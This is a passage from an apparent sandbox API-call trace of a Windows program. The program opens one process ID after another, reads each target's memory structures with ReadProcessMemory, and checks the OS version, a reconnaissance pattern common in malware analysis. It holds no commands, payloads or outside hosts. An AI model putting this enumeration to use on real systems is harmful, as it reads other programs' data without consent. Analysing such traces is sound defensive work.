lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0170.882] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x501c80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0170.882] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5018f8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0170.883] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0170.886] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0170.886] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2e3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0170.886] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5012e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0170.886] malloc (_Size=0x4e) returned 0x196ef0d5fc0 [0170.886] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x50193e, lpBuffer=0x196ef0d5fc0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5fc0*, lpNumberOfBytesRead=0x0) returned 1 [0170.887] free (_Block=0x196ef0d5fc0) [0170.888] CloseHandle (hObject=0x26c) returned 1 [0170.888] _ui64tow_s (in: _Value=0xf64, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0170.893] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3940") returned 4 [0170.894] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0170.895] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.014] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x26c [0171.014] GetLastError () returned 0x0 [0171.015] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.015] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x238018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.015] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.015] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.015] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b18f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.017] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.018] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.018] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x238020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.018] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.019] malloc (_Size=0x70) returned 0x196ef0d31b0 [0171.019] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.020] free (_Block=0x196ef0d31b0) [0171.024] CloseHandle (hObject=0x26c) returned 1 [0171.025] _ui64tow_s (in: _Value=0xf74, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3956") returned 0x0 [0171.031] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3956") returned 4 [0171.032] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.032] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf74) returned 0x26c [0171.107] GetLastError () returned 0x0 [0171.107] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.107] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3a2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.108] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.108] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x621cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.108] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x6218f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.109] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.110] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.110] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3a2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.110] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x6212e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.111] malloc (_Size=0x60) returned 0x196ef0d03e0 [0171.111] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x621950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0171.111] free (_Block=0x196ef0d03e0) [0171.112] CloseHandle (hObject=0x26c) returned 1 [0171.113] _ui64tow_s (in: _Value=0xf7c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3964") returned 0x0 [0171.121] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3964") returned 4 [0171.122] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.122] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.229] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf7c) returned 0x26c [0171.229] GetLastError () returned 0x0 [0171.229] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.230] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x382018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.230] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.230] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x521ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.230] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5218f8, lpBuffer=0x670ffc3f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.231] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.233] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.233] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x382020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.233] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5212e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.233] malloc (_Size=0x6c) returned 0x196ef0d31b0 [0171.233] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x52195c, lpBuffer=0x196ef0d31b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.234] free (_Block=0x196ef0d31b0) [0171.235] CloseHandle (hObject=0x26c) returned 1 [0171.236] _ui64tow_s (in: _Value=0xf8c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3980") returned 0x0 [0171.241] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3980") returned 4 [0171.243] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.243] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.328] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf8c) returned 0x26c [0171.328] GetLastError () returned 0x0 [0171.328] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.328] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x353018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.328] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.329] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4f1d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.329] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4f18f8, lpBuffer=0x670ffc3f0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.330] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.332] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.332] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x353020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.332] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.332] malloc (_Size=0x7c) returned 0x196ef0d4f30 [0171.332] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4f196c, lpBuffer=0x196ef0d4f30, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0171.333] free (_Block=0x196ef0d4f30) [0171.334] CloseHandle (hObject=0x26c) returned 1 [0171.335] _ui64tow_s (in: _Value=0xf94, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3988") returned 0x0 [0171.341] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3988") returned 4 [0171.343] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.343] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.421] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf94) returned 0x26c [0171.421] GetLastError () returned 0x0 [0171.421] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.422] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x54d018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.422] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.422] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3f1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.422] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3f18f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.423] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.424] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.424] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x54d020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.425] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.425] malloc (_Size=0x70) returned 0x196ef0d31b0 [0171.425] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3f1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.426] free (_Block=0x196ef0d31b0) [0171.426] CloseHandle (hObject=0x26c) returned 1 [0171.427] _ui64tow_s (in: _Value=0xfa8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4008") returned 0x0 [0171.432] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4008") returned 4 [0171.433] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.433] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.453] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfa8) returned 0x26c [0171.453] GetLastError () returned 0x0 [0171.453] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.453] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3a3018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.453] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.453] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.454] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.455] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.509] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.509] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3a3020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.509] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.510] malloc (_Size=0x72) returned 0x196ef0d31b0 [0171.510] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1c1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.510] free (_Block=0x196ef0d31b0) [0171.511] CloseHandle (hObject=0x26c) returned 1 [0171.512] _ui64tow_s (in: _Value=0xfb0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4016") returned 0x0 [0171.517] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4016") returned 4 [0171.518] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.518] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.540] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfb0) returned 0x26c [0171.540] GetLastError () returned 0x0 [0171.540] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.540] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2cf018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.540] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.540] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.541] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4618f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.542] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.543] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.543] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2cf020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.543] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.544] malloc (_Size=0x70) returned 0x196ef0d31b0 [0171.544] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.544] free (_Block=0x196ef0d31b0) [0171.545] CloseHandle (hObject=0x26c) returned 1 [0171.546] _ui64tow_s (in: _Value=0xfc0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4032") returned 0x0 [0171.646] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4032") returned 4 [0171.648] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.648] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0171.667] OpenProcess 